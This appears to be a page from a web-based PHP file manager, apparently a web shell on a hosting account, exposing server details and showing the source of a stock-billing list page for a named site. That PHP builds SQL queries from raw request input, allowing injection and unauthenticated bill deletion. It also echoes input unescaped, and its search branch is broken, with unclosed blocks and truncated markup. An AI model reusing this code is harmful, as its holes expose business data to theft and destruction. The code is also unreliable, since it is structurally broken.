Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.19.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u802471691

Directory:

/home/u802471691/domains/thetechnozone.in/public_html/stock

Free Space:

9.3 TB

🔧 Quick Actions

✏️ Editing: stock_billlist.php

<?php include "header.php";

$page = $_REQUEST["page"];

$start_limit = 0;
                $end_limit = 100 ;

if ($page != '' && floatval($page) > 1)
                {
                    $start_limit = ($page - 1) * 100;
                    $end_limit=($page)*100;
                }
                
                	//SELECT * FROM db_sales WHERE company_id='$comid' ORDER BY id DESC LIMIT $start_limit, $end_limit

$qu="SELECT * FROM tbl_bill WHERE compid='$compaid' ORDER BY ids DESC LIMIT $start_limit, $end_limit";

$action=$_REQUEST['action'];
if($action=='delete'){

$cid=$_REQUEST['cids'];

$deld=mysqli_query($con,"DELETE FROM tbl_billd WHERE bid='$cid'");
	$del=mysqli_query($con,"DELETE FROM tbl_bill WHERE ids='$cid'");

echo "<script>alert('Bill Deleted Successfully')</script>";

}

$name=$_POST['name'];
 $billno=$_POST['billno'];
                            $todt=$_POST['todt'];
                            $fromdt=$_POST['fromdt'];
                            $phoneno=$_POST['phoneno'];

if($_SESSION['stype']=='2' || $_SESSION['stype']=='1'){
                            }else{
                            
                                header("Location:index.php");
                            }
?>

<style>
/* Pagination with Rounded Borders */
.pagination {
  display: inline-block;
}

.pagination a {
  color: black;
  float: left;
  padding: 8px 16px;
  text-decoration: none;
  border: 1px solid #000;
}

.pagination a.active {
  background-color: #4CAF50;
  color: white;
  border: 1px solid #4CAF50;
}

.pagination a:hover:not(.active) {background-color: #fff;color: #000;}

.pagination a:first-child {
  border-top-left-radius: 5px;
  border-bottom-left-radius: 5px;
}

.pagination a:last-child {
  border-top-right-radius: 5px;
  border-bottom-right-radius: 5px;
}

.border{

border-bottom: 1px solid lightgray;
}

</style>

<div class="col-12">
          <div class="card my-4">
            <div class="card-header p-0 position-relative mt-n4 mx-3 z-index-2">
              <div class="bg-gradient-primary shadow-primary border-radius-lg pt-4 pb-3">
                <h6 class="text-white text-capitalize ps-3">Search Bills</h6>
              </div>
            </div>
            
            <div class="card-body px-0 pb-2">
              
                  <form class="form-sample" action="<?php echo $_SERVER['PHP_SELF']?>?action=search" method="POST" enctype="multipart/form-data">
                    <p class="card-description">
                      
                    </p>
                    <div class="row" style="padding:0 1% 0 1%; ">
                      <div class="col-md-2">
                          <div class="form-group row">
                          
                          <div class="col-sm-12">
                            <label>Supplier Name</label>
                              <input type="text" name="name" class="form-control border" style="font-size: 12px;height:1.875rem;padding:2%;" placeholder="Customer Name" value="<?php echo $name?>">
                          </div>
                        </div>
                      </div>
                      <div class="col-md-2">
                          <div class="form-group row">
                          
                          <div class="col-sm-12">
                            <label>Phone No</label>
                            <input type="text" name="phoneno" class="form-control border" style="font-size: 12px;height:1.875rem;padding:2%;" placeholder="Phone No" value="<?php echo $phoneno?>">
                          </div>
                        </div>
                      </div>
                       <div class="col-md-2">
                          <div class="form-group row">
                          
                          <div class="col-sm-12">
                              <label>Bill No</label>
                              <input type="text" class="form-control border" style="font-size: 12px;height:1.875rem;padding:2%;" name="billno" value="<?php echo $billno?>">
                          </div>
                        </div>
                      </div>
                      <div class="col-md-2">
                          <div class="form-group row">
                          
                          <div class="col-sm-12">
                            <label>Start Date</label>
                            <input type="date" name="fromdt" id="fromdt" class="form-control border" style="font-size: 12px;height:1.875rem;padding:2%;" placeholder="From Date" value="<?php if($action=='search'){?><?php echo $fromdt?><?php }else{ echo date("Y-m-d");} ?>">
                          </div>
                        </div>
                      </div>
                      <div class="col-md-2">
                          <div class="form-group row">
                          
                          <div class="col-sm-12">
                            <label>End Date</label>
                            <input type="date" name="todt" id="todt" class="form-control border" style="font-size: 12px;height:1.875rem;padding:2%;" placeholder="To Date" value="<?php if($action=='search'){?><?php echo $todt?><?php }else{ echo date("Y-m-d");} ?>">
                          </div>
                        </div>
                      </div>
                     
                      
                      <div class="col-md-1">
                          <div class="form-group row">
                          
                          <div class="col-sm-12" style="padding-top:35px;">
                            <button type="submit" class="btn btn-sm" style="background-color: #4B49AC;height:1.875;text-align: center;padding:5%;min-width:50%;color:white;">GO</button>
                          </div>
                        </div>
                      </div>

</div>

</form>
              
              
            </div>
          </div>
        </div>

<?php if($action!='search'){ ?>

<div class="card-body px-0 pb-2">
              <div class="table-responsive p-0">
                <table class="table align-items-center mb-0">
                  <thead>
                    <tr>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">#Bill No</th>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">Date</th>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 ps-2 text-center">Supplier</th>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 ps-2 text-center">Products</th>
                      <th class="text-center text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">GST Amt.</th>
                      <th class="text-center text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">Total</th>
                      <th class="text-secondary opacity-7"></th>
                    </tr>
                  </thead>
                  <tbody>
                  	<?php

$q=mysqli_query($con,$qu);
                  			while($arr=mysqli_fetch_array($q)){

?>
                    <tr>
                      <td  class="align-middle text-center text-sm">
                        
                        <p class="text-xs font-weight-bold mb-0"> <?php echo $arr['ids']?></p>
                      </td>
                       <td class="align-middle text-center text-sm">
                        <p class="text-xs font-weight-bold mb-0 text-center" ><?php echo $arr['bdate']?></p>
                      </td>
                      <td class="align-middle text-center text-sm">
                        <p class="text-xs font-weight-bold mb-0 text-center" ><?php echo $arr['cname']?><br>Phone: <?php echo $arr['cmobile']?><br>Address: <?php echo $arr['caddress']?><br>GSTN: <?php echo $arr['cgst']?></p>
                      </td>
                      <td>
                      	<?php

$qd=mysqli_query($con,"SELECT * FROM tbl_billd WHERE bid='$arr[ids]'");
                      			while($arrd=mysqli_fetch_array($qd)){
                              $getb=f(q("SELECT * FROM tbl_stock WHERE st_linkid='$arrd[ids]' AND st_type='Purchase'"));
                              $bcodes=$getb['st_barcode'];
                      	?>
                        <p class="text-xs font-weight-bold mb-0"><?php echo $arrd['prodesc']?> ( <?php echo $arrd['prodpr']?> ) X <?php echo $arrd['prodq']?></p>
                              <hr>
                        <?php // echo "<img alt='testing' src='barcode.php?codetype=code128&size=20&text=".$bcodes."&orientation=horizontal&print=true'/>"; ?>

<?php } ?>
                        
                      </td>
                      <td class="align-middle text-center text-sm">
                        <p class="text-xs font-weight-bold mb-0"><?php echo $arr['ctax']?></p>
                      </td>
                      <td class="align-middle text-center">
                        <span class="text-secondary text-xs font-weight-bold"><?php echo $arr['ctot']?></span>
                      </td>
                      <td class="align-middle">
                        <a href="create.php?action=edit&cids=<?php echo $arr['ids']?>" class="text-secondary font-weight-bold text-xs" data-toggle="tooltip" data-original-title="Edit Bill">
                          Edit
                        </a>&nbsp;<a href="billlist.php?action=delete&cids=<?php echo $arr['ids']?>" onclick="return confirm('Are you sure you want to delete this Bill?');" class="text-secondary font-weight-bold text-xs" data-toggle="tooltip" data-original-title="Delete Bill">
                          Delete
                        </a>&nbsp;<a href="print.php?cid=<?php echo $arr['ids']?>" target="_blank" class="text-secondary font-weight-bold text-xs" data-toggle="tooltip" data-original-title="Print Bill">
                          Print
                        </a>
                      </td>
                    </tr>
               		 <?php } ?>
                    
                  </tbody>
                </table>
              </div>
              <div class="row">
              <div class="col-md-12" style="padding: 2%;">
              			<hr>
                       
                                
                        <?php
                        $arrc = f(q("SELECT COUNT(*) AS total FROM tbl_bill"));
                        $total_pages = $arrc['total'];
                        $total_pages = ceil($total_pages / 100);
                        
                        if ($page == "")
                        {
                            $page = 1;
                        }
                        
                        $prev_page = $page - 1;
                        $next_page = $page + 1;                     
                        
                        ?>
                        <p class="pagination">
                            <a href="billlist.php?page=<?php if($page == 1){ echo '1'; }else{ echo $prev_page; } ?>">&laquo;</a>
                        <?php 
                        
                        
                        for ($i = 1; $i <= $total_pages; $i++)
                        {
                            ?>
                            <a href="billlist.php?page=<?php echo  $i ?>" <?php if($page==$i){?> class="active" <?php } ?>><?php echo  $i ?></a>
                            <?php 
                        }
                        ?>
                            <a href="billlist.php?page=<?php if($page == $total_pages){ echo $total_pages; }else{ echo $next_page  ; } ?>">&raquo;</a>
                        </p>

</div>
                    </div> 
            </div>
          </div>
        </div>

<?php }else{ ?>

<div class="card-body px-0 pb-2">
              <div class="table-responsive p-0">
                <table class="table align-items-center mb-0">
                  <thead>
                    <tr>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">#Bill No</th>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">Date</th>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 ps-2 text-center">Customer</th>
                      <th class="text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 ps-2 text-center">Products</th>
                      <th class="text-center text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">GST Amt.</th>
                      <th class="text-center text-uppercase text-secondary text-xxs font-weight-bolder opacity-7 text-center">Total</th>
                      <th class="text-secondary opacity-7"></th>
                    </tr>
                  </thead>
                  <tbody>
                    <?php

$wh=0;

$name=mysqli_real_escape_string($con,$name);

$qry="SELECT * FROM  tbl_bill";

if($name!=''){

$wh=1;

$qry=$qry." WHERE cname LIKE '%$name%'";

}

if($fromdt!=''){

if($wh==0){

$wh=1;
                                    if($todt==''){

$qry=$qry." WHERE bdate='$fromdt'";

}else{

$qry=$qry." WHERE bdate BETWEEN '$fromdt' AND '$todt'";

}

}else{

if($todt==''){

$qry=$qry." AND bdate='$fromdt'";

}else{

$qry=$qry." AND bdate BETWEEN '$fromdt' AND '$todt'";

}

}
                            //echo $username

if($billno!=''){

if($wh==0){

$wh=1;
                                             $qry=$qry." WHERE invno='$billno'";

}else{

$qry=$qry." AND invno='$billno'";

}

if($phoneno!=''){

if($wh==0){

$wh=1;
                                             $qry=$qry." WHERE cmobile='%$phoneno%'";

}else{

$qry=$qry." AND cmobile LIKE '%$phoneno%'";

}

if($wh==0){
                                  $qry=$qry." WHERE compid='$compaid' ";

}else{

$qry=$qry." AND compid='$compaid' ";

}

$qry=$qry." ORDER BY bdate ASC";

$q=mysqli_query($con,$qry);
                        while($arr=mysqli_fetch_array($q)){

$qd=mysqli_query($con,"SELECT * FROM tbl_billd WHERE bid='$arr[ids]'");
                            while($arrd=mysqli_fetch_array($qd)){

?>
                        <p class="text-xs font-weight-bold mb-0"><?php echo $arrd['prodesc']?> ( <?php echo $arrd['prodpr']?> ) X <?php echo $arrd['prodq']?></p>

<?php } ?>

</div>

<?php include "footer.php"; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: stock_billlist.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation